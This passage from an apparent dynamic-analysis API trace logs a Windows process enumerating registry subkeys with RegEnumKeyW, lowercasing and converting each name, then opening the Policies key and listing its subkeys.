lpName=0x21eb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x21eb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x21ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x21eb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x21eb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x21eb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x21ec0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x21eb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x21ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0038.886] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x21eb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0038.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x21ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x21eb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x21ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x21eb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x21ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x21eb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x21ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x21eb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x21ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x21eb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x21ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x21eb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x21ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x21eb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x21ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0038.887] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x21eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0038.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x21eb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x21eb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x21ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x21eb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x21ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x21eb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x21ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x21eb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x21ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0038.888] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x21eb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0038.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0038.896] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x21eb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0038.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x21ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0038.896] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x21eb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0038.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x21eb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x21ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x21eb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x21ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x21eb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x21ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x21eb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x21ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x21eb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x21ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x21eb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x21eb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x21ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0038.897] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x21eb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x21ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x21eb930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x21ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x21eb930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x21ec0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x21eb930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x21ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x21eb930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x21ec0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x21eb930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x21ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0038.898] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x21eb930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0038.898] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0038.898] RegCloseKey (hKey=0x38) returned 0x0 [0038.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x21eb930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0038.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x21ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0038.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x21eb930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x21ec0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 